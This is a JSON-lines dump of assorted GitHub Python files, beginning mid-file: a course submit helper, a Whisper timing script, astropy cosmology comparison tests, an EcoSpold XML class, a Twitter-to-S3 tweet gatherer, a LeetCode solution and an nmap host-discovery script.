costFunctionReg(np.reshape(np.array([0.25, 0.5, -0.5]), (3, 1)), X, y, 0.1))\n    elif partId == '6':\n        cost, grad = costFunctionReg(np.reshape(np.array([0.25, 0.5, -0.5]), (3, 1)), X, y, 0.1)\n        out = formatter('%0.5f ', grad)\n    return out","repo_name":"altermarkive/machine-learning-course-by-stanford-university","sub_path":"machine-learning-ex2/ex2/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"6503519244","text":"import whisper\nimport time\n\nmodel = whisper.load_model(\"tiny.en\")\nshort_audio_path = r\"C:\\Users\\nlitz88\\Documents\\Sound recordings\\short_audio.m4a\"\naudio_path = r\"T:\\2021-12-23 09-55-41.mkv\"\naudio_load_start = time.time()\naudio = whisper.load_audio(audio_path)\naudio_load_end = time.time()\nprint(f\"It took {audio_load_end-audio_load_start}s to load input audio.\")\ntranscribe_start = time.time()\nresults = model.transcribe(audio, word_timestamps=True)\ntranscribe_end = time.time()\nprint(f\"It took {transcribe_end - transcribe_start} to transcribe the size {len(audio)} audio.\")\nprint(results)\n\nsegments = results[\"segments\"]\nfor segment in segments:\n    print(f\"ID: {segment['id']}\\nStart: {segment['start']}, End: {segment['end']}\\nText: {segment['text']}\\nNoSpeechProb: {segment['no_speech_prob']}\\n\")\n    formatted_words = [f\"\\t{segment['words'][i]['word']}: Start: {segment['words'][i]['start']}, End: {segment['words'][i]['end']}\" for i in range(len(segment[\"words\"]))]\n    for word in formatted_words:\n        print(word)","repo_name":"nlitz88/speechremover","sub_path":"whispertest.py","file_name":"whispertest.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18587779261","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"Tests for :mod:`astropy.cosmology.comparison`\"\"\"\n\nimport re\n\nimport numpy as np\nimport pytest\n\nfrom astropy.cosmology import Cosmology, FlatCosmologyMixin, Planck18, cosmology_equal\nfrom astropy.cosmology._io.tests.base import ToFromTestMixinBase\nfrom astropy.cosmology.connect import convert_registry\nfrom astropy.cosmology.funcs.comparison import (\n    _cosmology_not_equal,\n    _CosmologyWrapper,\n    _parse_format,\n    _parse_formats,\n)\n\n\nclass ComparisonFunctionTestBase(ToFromTestMixinBase):\n    \"\"\"Tests for cosmology comparison functions.\n\n    This class inherits from\n    `astropy.cosmology._io.tests.base.ToFromTestMixinBase` because the cosmology\n    comparison functions all have a kwarg ``format`` that allow the arguments to\n    be converted to a |Cosmology| using the ``to_format`` architecture.\n\n    This class will not be directly called by :mod:`pytest` since its name does\n    not begin with ``Test``. To activate the contained tests this class must be\n    inherited in a subclass.\n    \"\"\"\n\n    @pytest.fixture(scope=\"class\")\n    def cosmo(self):\n        return Planck18\n\n    @pytest.fixture(scope=\"class\")\n    def cosmo_eqvxflat(self, cosmo):\n        if isinstance(cosmo, FlatCosmologyMixin):\n            return cosmo.nonflat\n\n        pytest.skip(\n            \"cosmology is not flat, so does not have an equivalent non-flat cosmology.\"\n        )\n\n    @pytest.fixture(\n        scope=\"class\",\n        params={k for k, _ in convert_registry._readers.keys()} - {\"astropy.cosmology\"},\n    )\n    def format(self, request):\n        return request.param\n\n    @pytest.fixture(scope=\"class\")\n    def xfail_cant_autoidentify(self, format):\n        \"\"\"`pytest.fixture` form of method ``can_autoidentify`.\"\"\"\n        if not self.can_autodentify(format):\n            pytest.xfail(\"cannot autoidentify\")\n\n    @pytest.fixture(scope=\"class\")\n    def converted(self, to_format, format):\n        if format == \"astropy.model\":  # special case Model\n            return to_format(format, method=\"comoving_distance\")\n        return to_format(format)\n\n    @pytest.fixture(scope=\"class\")\n    def pert_cosmo(self, cosmo):\n        # change one parameter\n        p, v = next(iter(cosmo.parameters.items()))\n        cosmo2 = cosmo.clone(\n            **{p: v * 1.0001 if v != 0 else 0.001 * getattr(v, \"unit\", 1)}\n        )\n        return cosmo2\n\n    @pytest.fixture(scope=\"class\")\n    def pert_cosmo_eqvxflat(self, pert_cosmo):\n        if isinstance(pert_cosmo, FlatCosmologyMixin):\n            return pert_cosmo.nonflat\n\n        pytest.skip(\n            \"cosmology is not flat, so does not have an equivalent non-flat cosmology.\"\n        )\n\n    @pytest.fixture(scope=\"class\")\n    def pert_converted(self, pert_cosmo, format):\n        if format == \"astropy.model\":  # special case Model\n            return pert_cosmo.to_format(format, method=\"comoving_distance\")\n        return pert_cosmo.to_format(format)\n\n\nclass Test_parse_format(ComparisonFunctionTestBase):\n    \"\"\"Test functions ``_parse_format``.\"\"\"\n\n    @pytest.fixture(scope=\"class\")\n    def converted(self, to_format, format):\n        if format == \"astropy.model\":  # special case Model\n            return to_format(format, method=\"comoving_distance\")\n\n        converted = to_format(format)\n\n        # Some raise a segfault! TODO: figure out why\n        if isinstance(converted, _CosmologyWrapper._cantbroadcast):\n            converted = _CosmologyWrapper(converted)\n\n        return converted\n\n    # ========================================================================\n\n    def test_shortcut(self, cosmo):\n        \"\"\"Test the already-a-cosmology shortcut.\"\"\"\n        # A Cosmology\n        for fmt in (None, True, False, \"astropy.cosmology\"):\n            assert _parse_format(cosmo, fmt) is cosmo, f\"{fmt} failed\"\n\n        # A Cosmology, but improperly formatted\n        # see ``test_parse_format_error_wrong_format``.\n\n    def test_convert(self, converted, format, cosmo):\n        \"\"\"Test converting a cosmology-like object\"\"\"\n        out = _parse_format(converted, format)\n\n        assert isinstance(out, Cosmology)\n        assert out == cosmo\n\n    def test_parse_format_error_wrong_format(self, cosmo):\n        \"\"\"\n        Test ``_parse_format`` errors when given a Cosmology object and format\n        is not compatible.\n        \"\"\"\n        with pytest.raises(\n            ValueError, match=re.escape(\"for parsing a Cosmology, 'format'\")\n        ):\n            _parse_format(cosmo, \"mapping\")\n\n    def test_parse_format_error_noncosmology_cant_convert(self):\n        \"\"\"\n        Test ``_parse_format`` errors when given a non-Cosmology object\n        and format is `False`.\n        \"\"\"\n        notacosmo = object()\n\n        with pytest.raises(TypeError, match=re.escape(\"if 'format' is False\")):\n            _parse_format(notacosmo, False)\n\n    def test_parse_format_vectorized(self, cosmo, format, converted):\n        # vectorized on cosmos\n        out = _parse_format([cosmo, cosmo], None)\n        assert len(out) == 2\n        assert np.all(out == cosmo)\n\n        # vectorized on formats\n        out = _parse_format(cosmo, [None, None])\n        assert len(out) == 2\n        assert np.all(out == cosmo)\n\n        # more complex broadcast\n        out = _parse_format(\n            [[cosmo, converted], [converted, cosmo]], [[None, format], [format, None]]\n        )\n        assert out.shape == (2, 2)\n        assert np.all(out == cosmo)\n\n    def test_parse_formats_vectorized(self, cosmo):\n        # vectorized on cosmos\n        out = _parse_formats(cosmo, cosmo, format=None)\n        assert len(out) == 2\n        assert np.all(out == cosmo)\n\n        # does NOT vectorize on formats\n        with pytest.raises(ValueError, match=\"operands could not be broadcast\"):\n            _parse_formats(cosmo, format=[None, None])\n\n\nclass Test_cosmology_equal(ComparisonFunctionTestBase):\n    \"\"\"Test :func:`astropy.cosmology.comparison.cosmology_equal`\"\"\"\n\n    def test_cosmology_equal_simple(self, cosmo, pert_cosmo):\n        # equality\n        assert cosmology_equal(cosmo, cosmo) is True\n\n        # not equal to perturbed cosmology\n        assert cosmology_equal(cosmo, pert_cosmo) is False\n\n    def test_cosmology_equal_equivalent(\n        self, cosmo, cosmo_eqvxflat, pert_cosmo, pert_cosmo_eqvxflat\n    ):\n        # now need to check equivalent, but not equal, cosmologies.\n        assert cosmology_equal(cosmo, cosmo_eqvxflat, allow_equivalent=True) is True\n        assert cosmology_equal(cosmo, cosmo_eqvxflat, allow_equivalent=False) is False\n\n        assert (\n            cosmology_equal(pert_cosmo, pert_cosmo_eqvxflat, allow_equivalent=True)\n            is True\n        )\n        assert (\n            cosmology_equal(pert_cosmo, pert_cosmo_eqvxflat, allow_equivalent=False)\n            is False\n        )\n\n    def test_cosmology_equal_too_many_cosmo(self, cosmo):\n        with pytest.raises(\n            TypeError, match=\"cosmology_equal takes 2 positional arguments\"\n        ):\n            cosmology_equal(cosmo, cosmo, cosmo)\n\n    def test_cosmology_equal_format_error(self, cosmo, converted):\n        # Not converting `converted`\n        with pytest.raises(TypeError):\n            cosmology_equal(cosmo, converted)\n\n        with pytest.raises(TypeError):\n            cosmology_equal(cosmo, converted, format=False)\n\n    def test_cosmology_equal_format_auto(\n        self, cosmo, converted, xfail_cant_autoidentify\n    ):\n        # These tests only run if the format can autoidentify.\n        assert cosmology_equal(cosmo, converted, format=None) is True\n        assert cosmology_equal(cosmo, converted, format=True) is True\n\n    def test_cosmology_equal_format_specify(\n        self, cosmo, format, converted, pert_converted\n    ):\n        # equality\n        assert cosmology_equal(cosmo, converted, format=[None, format]) is True\n        assert cosmology_equal(converted, cosmo, format=[format, None]) is True\n\n        # non-equality\n        assert cosmology_equal(cosmo, pert_converted, format=[None, format]) is False\n\n    def test_cosmology_equal_equivalent_format_specify(\n        self, cosmo, format, converted, cosmo_eqvxflat\n    ):\n        # specifying the format\n        assert (\n            cosmology_equal(\n                cosmo_eqvxflat, converted, format=[None, format], allow_equivalent=True\n            )\n            is True\n        )\n        assert (\n            cosmology_equal(\n                converted, cosmo_eqvxflat, format=[format, None], allow_equivalent=True\n            )\n            is True\n        )\n\n\nclass Test_cosmology_not_equal(ComparisonFunctionTestBase):\n    \"\"\"Test :func:`astropy.cosmology.comparison._cosmology_not_equal`\"\"\"\n\n    def test_cosmology_not_equal_simple(self, cosmo, pert_cosmo):\n        # equality\n        assert _cosmology_not_equal(cosmo, cosmo) is False\n\n        # not equal to perturbed cosmology\n        assert _cosmology_not_equal(cosmo, pert_cosmo) is True\n\n    def test_cosmology_not_equal_too_many_cosmo(self, cosmo):\n        with pytest.raises(TypeError, match=\"_cosmology_not_equal takes 2 positional\"):\n            _cosmology_not_equal(cosmo, cosmo, cosmo)\n\n    def test_cosmology_not_equal_equivalent(\n        self, cosmo, cosmo_eqvxflat, pert_cosmo, pert_cosmo_eqvxflat\n    ):\n        # now need to check equivalent, but not equal, cosmologies.\n        assert (\n            _cosmology_not_equal(cosmo, cosmo_eqvxflat, allow_equivalent=False) is True\n        )\n        assert (\n            _cosmology_not_equal(cosmo, cosmo_eqvxflat, allow_equivalent=True) is False\n        )\n\n        assert (\n            _cosmology_not_equal(\n                pert_cosmo, pert_cosmo_eqvxflat, allow_equivalent=False\n            )\n            is True\n        )\n        assert (\n            _cosmology_not_equal(pert_cosmo, pert_cosmo_eqvxflat, allow_equivalent=True)\n            is False\n        )\n\n    def test_cosmology_not_equal_format_error(self, cosmo, converted):\n        # Not converting `converted`\n        with pytest.raises(TypeError):\n            _cosmology_not_equal(cosmo, converted)\n\n        with pytest.raises(TypeError):\n            _cosmology_not_equal(cosmo, converted, format=False)\n\n    def test_cosmology_not_equal_format_auto(\n        self, cosmo, pert_converted, xfail_cant_autoidentify\n    ):\n        assert _cosmology_not_equal(cosmo, pert_converted, format=None) is True\n        assert _cosmology_not_equal(cosmo, pert_converted, format=True) is True\n\n    def test_cosmology_not_equal_format_specify(\n        self, cosmo, format, converted, pert_converted\n    ):\n        # specifying the format\n        assert (\n            _cosmology_not_equal(cosmo, pert_converted, format=[None, format]) is True\n        )\n        assert (\n            _cosmology_not_equal(pert_converted, cosmo, format=[format, None]) is True\n        )\n\n        # equality\n        assert _cosmology_not_equal(cosmo, converted, format=[None, format]) is False\n\n    def test_cosmology_not_equal_equivalent_format_specify(\n        self, cosmo, format, converted, cosmo_eqvxflat\n    ):\n        # specifying the format\n        assert (\n            _cosmology_not_equal(\n                cosmo_eqvxflat, converted, format=[None, format], allow_equivalent=False\n            )\n            is True\n        )\n        assert (\n            _cosmology_not_equal(\n                cosmo_eqvxflat, converted, format=[None, format], allow_equivalent=True\n            )\n            is False\n        )\n\n        assert (\n            _cosmology_not_equal(\n                converted, cosmo_eqvxflat, format=[format, None], allow_equivalent=True\n            )\n            is False\n        )\n","repo_name":"astropy/astropy","sub_path":"astropy/cosmology/funcs/tests/test_comparison.py","file_name":"test_comparison.py","file_ext":"py","file_size_in_byte":11636,"program_lang":"python","lang":"en","doc_type":"code","stars":4015,"dataset":"github-code","pt":"21"}
+{"seq_id":"2664542324","text":"import sys\nsys.path.append('../')\nfrom ecospold_base import *\n\nclass Geography(EcospoldBase):\n    \"\"\"Geography -- Contains information about the geographic validity of the process. The region described with regional code and free text is the market area of the product / service at issue and not necessarily the place of production.\n    location -- 7 letter regional code (capital letters). List of 2 letter ISO country codes extended by codes for regions, continents, market areas, and organisations and companies. The location code indicates the supply area of a product/service and the area of validity of impact assessment methods and impact categories, respectively. It does NOT necessarily coincide with the area/site of production or provenience. If supply and production area differ, production area is indicated in the name of the unit process.\n    text -- Free text for further explanation. Text comprises additional aspects of the location, namely whether:\n    - certain areas are exempted from the location indicated,\n    - data are only valid for certain regions within the location indicated.\n    - certain elementary flows or intermediate product flows are extrapolated from another geographical area than indicated.\n    Extrapolations should be reported under 'representativeness'.\n\n    \"\"\"\n\n    def __init__(self, location=None, text=None, collector=None, **kwargs) -> None:\n        self.collector = collector\n        self.elementtree_node = None\n        self.original_tagname = None\n        self.parent_object = kwargs.get(\"parent_object\")\n        self.location = cast_value_with_type(None, location)\n        self.text = cast_value_with_type(None, text)\n\n    def validate_TRegionalCode(self, value) -> bool:\n        # Validate type TRegionalCode, a restriction on xsd:string.\n        if (\n            value is not None\n            and Validate_simpletypes\n            and self.collector is not None\n        ):\n            if not isinstance(value, str):\n                lineno = self.get_node_lineno()\n                self.collector.add_message(\n                    'Value \"%(value)s\"%(lineno)s is not of the correct base simple type (str)'\n                    % {\n                        \"value\": value,\n                        \"lineno\": lineno,\n                    }\n                )\n                return False\n            if len(value) > 7:\n                lineno = self.get_node_lineno()\n                self.collector.add_message(\n                    'Value \"%(value)s\"%(lineno)s does not match xsd maxLength restriction on TRegionalCode'\n                    % {\"value\": encode_str_2_3(value), \"lineno\": lineno}\n                )\n                result = False\n\n    def validate_TString32000(self, value) -> bool:\n        # Validate type TString32000, a restriction on xsd:string.\n        if (\n            value is not None\n            and Validate_simpletypes\n            and self.collector is not None\n        ):\n            if not isinstance(value, str):\n                lineno = self.get_node_lineno()\n                self.collector.add_message(\n                    'Value \"%(value)s\"%(lineno)s is not of the correct base simple type (str)'\n                    % {\n                        \"value\": value,\n                        \"lineno\": lineno,\n                    }\n                )\n                return False\n            if len(value) > 32000:\n                lineno = self.get_node_lineno()\n                self.collector.add_message(\n                    'Value \"%(value)s\"%(lineno)s does not match xsd maxLength restriction on TString32000'\n                    % {\"value\": encode_str_2_3(value), \"lineno\": lineno}\n                )\n                result = False\n\n    def hasContent(self) -> bool:\n        return True\n\n    def export(\n        self,\n        outfile,\n        level,\n        namespaceprefix=\"\",\n        namespacedef='xmlns:es=\"http://www.EcoInvent.org/EcoSpold01\"',\n        name=\"Geography\",\n        pretty_print=True,\n    ):\n        if pretty_print:\n            eol = \"\\n\"\n        else:\n            eol = \"\"\n        if self.original_tagname is not None and name == \"Geography\":\n            name = self.original_tagname\n        showIndent(outfile, level, pretty_print)\n        outfile.write(\n            \"<%s%s%s\"\n            % (\n                namespaceprefix,\n                name,\n                namespacedef and \" \" + namespacedef or \"\",\n            )\n        )\n        already_processed = set()\n        self.exportAttributes(\n            outfile, level, already_processed, namespaceprefix, name=\"Geography\"\n        )\n        if self.hasContent():\n            outfile.write(\">%s\" % (eol,))\n            self.exportChildren(\n                outfile,\n                level + 1,\n                namespaceprefix,\n                namespacedef,\n                name=\"Geography\",\n                pretty_print=pretty_print,\n            )\n            outfile.write(\"</%s%s>%s\" % (namespaceprefix, name, eol))\n        else:\n            outfile.write(\"/>%s\" % (eol,))\n\n    def exportAttributes(\n        self, outfile, level, already_processed, namespaceprefix=\"\", name=\"Geography\"\n    ):\n        if self.location is not None and \"location\" not in already_processed:\n            already_processed.add(\"location\")\n            outfile.write(\n                \" location=%s\"\n                % (\n                    self.encode(\n                        self.format_string(\n                            quote_attrib(self.location), input_name=\"location\"\n                        )\n                    ),\n                )\n            )\n        if self.text is not None and \"text\" not in already_processed:\n            already_processed.add(\"text\")\n            outfile.write(\n                \" text=%s\"\n                % (\n                    self.encode(\n                        self.format_string(\n                            quote_attrib(self.text), input_name=\"text\"\n                        )\n                    ),\n                )\n            )\n\n    def exportChildren(\n        self,\n        outfile,\n        level,\n        namespaceprefix=\"\",\n        namespacedef='xmlns:es=\"http://www.EcoInvent.org/EcoSpold01\"',\n        name=\"Geography\",\n        fromsubclass=False,\n        pretty_print=True,\n    ):\n        pass\n\n    def build(self, node, collector=None):\n        self.collector = collector\n        if SaveElementTreeNode:\n            self.elementtree_node = node\n        already_processed = set()\n        self.buildAttributes(node, node.attrib, already_processed)\n        for child in node:\n            nodeName = tag_pattern.match(child.tag).groups()[-1]\n            self.buildChildren(child, node, nodeName, collector=collector)\n        return self\n\n    def buildAttributes(self, node, attrs, already_processed):\n        value = find_attr_value(\"location\", node)\n        if value is not None and \"location\" not in already_processed:\n            already_processed.add(\"location\")\n            self.location = value\n            self.validate_TRegionalCode(self.location)  # validate type TRegionalCode\n        value = find_attr_value(\"text\", node)\n        if value is not None and \"text\" not in already_processed:\n            already_processed.add(\"text\")\n            self.text = value\n            self.validate_TString32000(self.text)  # validate type TString32000\n\n    def buildChildren(\n        self, child_, node, nodeName, fromsubclass=False, collector=None\n    ):\n        pass\n\n\n# end class Geography\n","repo_name":"brightway-lca/ecospolder-obsolete","sub_path":"ecospolder/ecospold1/geography.py","file_name":"geography.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12252447277","text":"import io\nimport json\nimport logging\nimport uuid\n\nimport boto3\n\nfrom kinnara.gather.twitter import TwitterApiWrapper\n\n\nTWEETS_RATE_LIMIT = 900\nUSERS_RATE_LIMIT = 900\nFOLLOWERS_RATE_LIMIT = 15\n\nlogger = logging.getLogger(__name__)\n\n\n\nclass S3Gatherer(object):\n    '''A class that gathers data from twitter and dumps it to s3 buckets'''\n    def __init__(self, twitter_api_key, twitter_api_secret,\n            twitter_access_token, twitter_access_token_secret,\n            aws_access_key, aws_secret_access_key, s3_bucket_name):\n        '''Initialize class with twitter and aws credentials'''\n\n        self.twitter = TwitterApiWrapper(twitter_api_key, twitter_api_secret,\n                twitter_access_token, twitter_access_token_secret)\n\n        self.s3 = boto3.client('s3',\n                aws_access_key_id=aws_access_key, aws_secret_access_key=aws_secret_access_key)\n\n        self.bucket_name = s3_bucket_name\n\n\n    def store_tweets(self, user_id, key, num_tweets=200, filter_retweets=True):\n        '''Stores tweets for given user in s3 bucket\n\n        user_id\n            account to gather tweets from\n        key\n            key to store file under in s3 bucket\n        num_tweets\n            number of tweets to gather from user.\n            200 is max that can be gathered in one call.\n            3200 is max that can be gathered for one user.\n        filter_retweets\n            filter out all retweets\n        '''\n        tweets = self.twitter.get_tweets(user_id, max_tweets_returned=num_tweets)\n\n        # filter out retweets if necessary\n        if not filter_retweets:\n            tweets = [t for t in tweets\n                    if 'retweeted_status' not in t]\n\n        payload = json.dumps(tweets)\n        f_obj = io.BytesIO(payload.encode())\n\n        self.s3.upload_fileobj(f_obj, self.bucket_name, key)\n\n\n    def store_user_and_tweets(self, user_id, key, num_tweets=200, filter_retweets=False):\n        '''Stores tweets and user object for a given user in s3 bucket\n\n        user_id\n            account to gather tweets from\n        key\n            key to store file under in s3 bucket\n        num_tweets\n            number of tweets to gather from user.\n            200 is max that can be gathered in one call.\n            3200 is max that can be gathered for one user.\n        filter_retweets\n            filter out all retweets\n        '''\n        logger.info('getting user {}'.format(user_id))\n        user = self.twitter.get_user(user_id)\n        # if user is none, just make a user obj with user_id\n        if user is None:\n            user = {'user_id': user_id}\n\n        logger.info('getting tweets {}'.format(user_id))\n        tweets = self.twitter.get_tweets(user_id, max_tweets_returned=num_tweets)\n        logger.info('getting tweets {}'.format(user_id))\n\n        # filter out retweets if necessary\n        if filter_retweets:\n            tweets = [t for t in tweets\n                    if 'retweeted_status' not in t]\n\n        payload = {\n                'user': user,\n                'tweets': tweets\n                }\n\n        payload = json.dumps(payload)\n        f_obj = io.BytesIO(payload.encode())\n\n        logger.info('uploading user and tweet obj for {}'.format(user_id))\n        self.s3.upload_fileobj(f_obj, self.bucket_name, key)\n\n\n    def store_tweets_via_followers(self, seed_user_id, num_tweets=200, filter_retweets=False,\n            max_follower_ids=5000):\n        '''Gather users and tweets from a seed user id.\n\n        Currently defualt settings are optimized around twitters rate limits\n\n        seed_user_id\n            seed account to start gathering tweets from\n        num_tweets\n            number of tweets to gather per user.\n            200 is max that can be gathered in one call.\n            3200 is max that can be gathered for one user.\n        filter_retweets\n            filter out all retweets\n        max_follower_ids\n            max number of follower ids to gather for each user in the graph\n            5000 is the max that can be gathered in one call\n        '''\n\n        # ids to gather tweets from\n        tweets_user_ids_pool = self.twitter.get_follower_ids(seed_user_id,\n                max_ids_returned=max_follower_ids)\n        # ids to gather followers from\n        followers_user_ids_pool = [x for x in tweets_user_ids_pool]\n        # store already seen ids so double lookups don't happen\n        already_seen = set()\n\n        # store seed profile and tweets\n        self.store_user_and_tweets(seed_user_id, '{}.json'.format(seed_user_id),\n                num_tweets=num_tweets, filter_retweets=filter_retweets)\n\n        while True:\n            logger.info('length already seen: {}'.format(len(already_seen)))\n            logger.info('length tweet pool: {}'.format(len(tweets_user_ids_pool)))\n            logger.info('length followers pool: {}'.format(len(followers_user_ids_pool)))\n\n            # grab 15 users from follower pool and get their followers\n            follower_ids = followers_user_ids_pool[:FOLLOWERS_RATE_LIMIT - 1]\n            followers_user_ids_pool = followers_user_ids_pool[FOLLOWERS_RATE_LIMIT - 1:]\n\n            for f_id in follower_ids:\n                logger.info('getting followers for {}'.format(f_id))\n                try:\n                    ids = self.twitter.get_follower_ids(f_id,\n                            max_ids_returned=max_follower_ids)\n                except Exception as e:\n                    logger.exception('exception getting followers for {}\\n{}'.format(\n                        f_id, e))\n\n                logger.debug('length of ids: {}'.format(len(ids)))\n                #filter ids that have already been seen\n                ids = [x for x in ids\n                        if x not in already_seen]\n\n                # add the new ids to the tweet pool and followers pool\n                followers_user_ids_pool += ids\n                tweets_user_ids_pool += ids\n\n                # add ids to already seen\n                already_seen.update(ids)\n\n            # grab 900 users to get tweets for\n            user_ids = tweets_user_ids_pool[:TWEETS_RATE_LIMIT - 1]\n            tweets_user_ids_pool = tweets_user_ids_pool[TWEETS_RATE_LIMIT - 1:]\n\n            for i, user_id in enumerate(user_ids):\n                logger.info('{} - getting tweets and user for {}'.format(i, user_id))\n                try:\n                    self.store_user_and_tweets(user_id, '{}.json'.format(user_id),\n                            num_tweets=num_tweets, filter_retweets=filter_retweets)\n                except Exception as e:\n                    logger.exception('exception getting tweets or user for {}\\n{}'.format(\n                        user_id, e))\n\n\n    def store_tweet_stream(self, follow=[], track=[], locations=[],\n            tweets_per_file=100, cutoff=None):\n        '''Store tweets from a live stream into s3 bucket.\n        Tweets are chunked into files with tweets_per_file tweets in each file.\n        The keys the files are stored under are randomly generated uuids.\n\n        follow\n            list of screennames to follow\n        track\n            keywords to be included in tweets in live stream\n        locations\n            bounding boxes for tweets in live stream\n        tweets_per_file\n            number of tweets per file stored in s3 bucket\n        cutoff\n            disconnect from stream and stop gathering after this many tweets are gathered\n        '''\n        count = 0\n        tweets = []\n        for tweet in self.twitter.get_live_stream(follow=follow, track=track, locations=locations):\n            count += 1\n            tweets.append(tweet)\n\n            if len(tweets) >= tweets_per_file:\n                key = str(uuid.uuid4())\n                payload = json.dumps(tweets)\n\n                logger.info(payload)\n                f_obj = io.BytesIO(payload.encode())\n\n                self.s3.upload_fileobj(f_obj, self.bucket_name, key)\n                tweets = []\n\n                if cutoff is not None and count >= cutoff:\n                    break\n\n\nclass S3Downloader(object):\n    '''A class that dumps s3 data into files'''\n    def __init__(self, aws_access_key, aws_secret_access_key, s3_bucket_name):\n        '''Initialize class with twitter and aws credentials'''\n        self.s3 = boto3.client('s3',\n                aws_access_key_id=aws_access_key, aws_secret_access_key=aws_secret_access_key)\n\n        self.bucket_name = s3_bucket_name\n\n    def download_tweet_stream(self, out_fp, limit_keys_to=None, no_retweets=True, all_unique=True):\n        '''Download the results of store_tweet_stream from S3Gatherer to a file.\n        Each line in the output file is a json tweet.\n\n        out_fp\n            output file path\n        limit_keys_to\n            tweets fields that are kept.\n            it will keep all fields by default.\n        no_retweets\n            don't include retweets\n        all_unique\n            Pull only unique tweet content.\n            i.e. if a tweet is retweeted a bunch of times, the tweet is only included\n            in the output file once\n        '''\n        # if limit_keys_to, it must always contain id field\n        if limit_keys_to is not None:\n            limit_keys_to.append('id')\n\n        already_seen = set()\n        out_f = open(out_fp, 'w')\n        for key in self.s3.list_objects(Bucket=self.bucket_name)['Contents']:\n            bucket_fp = key['Key']\n            obj = self.s3.get_object(Bucket=self.bucket_name, Key=bucket_fp)\n\n            tweets = json.loads(obj['Body'].read())\n\n            for tweet in tweets:\n                # check to see if it's a retweet\n                if 'retweeted_status' in tweet:\n                    # skip if no retweets\n                    if no_retweets:\n                        break\n\n                    # pull out retweet if all unique\n                    if all_unique:\n                        tweet = tweet['retweeted_status']\n\n                # grab subset of keys if necessary\n                if limit_keys_to is not None:\n                    tweet = {k: tweet[k] for k in limit_keys_to\n                            if k in tweet}\n\n                # if all unique, only add tweets that havent been seen\n                if all_unique:\n                    if tweet['id'] not in already_seen:\n                        out_f.write(json.dumps(tweet) + '\\n')\n                        already_seen.add(tweet['id'])\n                # otherwise just write it to the file\n                else:\n                    out_f.write(json.dumps(tweet) + '\\n')\n","repo_name":"estorrs/kinnara","sub_path":"kinnara/store/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":10479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10078771258","text":"# encoding=utf8\n\n'''\n667. Beautiful Arrangement II\nGiven two integers n and k, construct a list answer that contains n different positive integers ranging from 1 to n and obeys the following requirement:\n\nSuppose this list is answer = [a1, a2, a3, ... , an], then the list [|a1 - a2|, |a2 - a3|, |a3 - a4|, ... , |an-1 - an|] has exactly k distinct integers.\nReturn the list answer. If there multiple valid answers, return any of them.\n\n \n\nExample 1:\n\nInput: n = 3, k = 1\nOutput: [1,2,3]\nExplanation: The [1,2,3] has three different positive integers ranging from 1 to 3, and the [1,1] has exactly 1 distinct integer: 1\nExample 2:\n\nInput: n = 3, k = 2\nOutput: [1,3,2]\nExplanation: The [1,3,2] has three different positive integers ranging from 1 to 3, and the [2,1] has exactly 2 distinct integers: 1 and 2.\n \n\nConstraints:\n\n1 <= k < n <= 104\n'''\n\nclass Solution:\n    def constructArray(self, n: int, k: int) -> List[int]:\n        # [1,2,⋯,n] \n        # [1, n, 2, n-1, 3, \\cdots][1,n,2,n−1,3,⋯] \n        # ......\n        # [1,2,⋯,n−k,n,n−k+1,n−1,n−k+2,⋯]\n        answer = list(range(1, n - k))\n        i, j = n - k, n\n        while i <= j:\n            answer.append(i)\n            if i != j:\n                answer.append(j)\n            i, j = i + 1, j - 1\n        return answer\n\n\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/math_binary/leetcode-667-BeautifulArrangementII.py","file_name":"leetcode-667-BeautifulArrangementII.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33593040503","text":"#!/usr/bin/python3\nimport sys\nimport ipaddress\nimport argparse\nimport netifaces\nfrom netaddr import IPNetwork\nimport nmap3\n\"\"\"\nRequirements:\nhttps://pypi.org/project/python3-nmap/\nnetifaces\nnetaddr\n\"\"\"\n\ndef get_ip(ifname):\n    \"\"\"\n    Get ip addr and subnet mask from ifname\n    \"\"\"\n    addr = netifaces.ifaddresses(ifname)[netifaces.AF_INET][0]['addr']\n    subnet = netifaces.ifaddresses(ifname)[netifaces.AF_INET][0]['netmask']\n    return (addr, subnet)\n\ndef netmask_to_cidr(m_netmask):\n    \"\"\"\n    Convert netmask to cidr\n\n    https://gist.github.com/Akendo/6cf70aa01f92ab2f03ae6c27480f713e\n    \"\"\"\n    return(sum([ bin(int(bits)).count(\"1\") for bits in m_netmask.split(\".\") ]))\n\n\ndef main(args):\n    addr = None\n    network = None\n\n\n    if args.ifname:\n        addr, subnet = get_ip(args.ifname)\n        network = str(IPNetwork(f\"{addr}/{subnet}\").cidr)\n    elif args.subnet:\n        network = args.subnet\n\n    # Simple test, for more info: https://pypi.org/project/python3-nmap/\n    nmap = nmap3.NmapHostDiscovery()\n    results = nmap.nmap_no_portscan(network)\n    for i in results['hosts']:\n        print(i['addr'], file=sys.stdout)\n\n\ndef parse_args(args):\n    \"\"\" Create the arguments \"\"\"\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", dest=\"ifname\", help=\"Interface to scan\")\n    parser.add_argument(\"-I\", dest=\"subnet\", help=\"Subnet. Ex: 10.10.1.0/24\")\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args(args)\n\n\nif __name__ == \"__main__\":\n    args = parse_args(sys.argv[1:])\n    main(args)\n","repo_name":"Xistens/python-nmap-test","sub_path":"pingsweep.py","file_name":"pingsweep.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
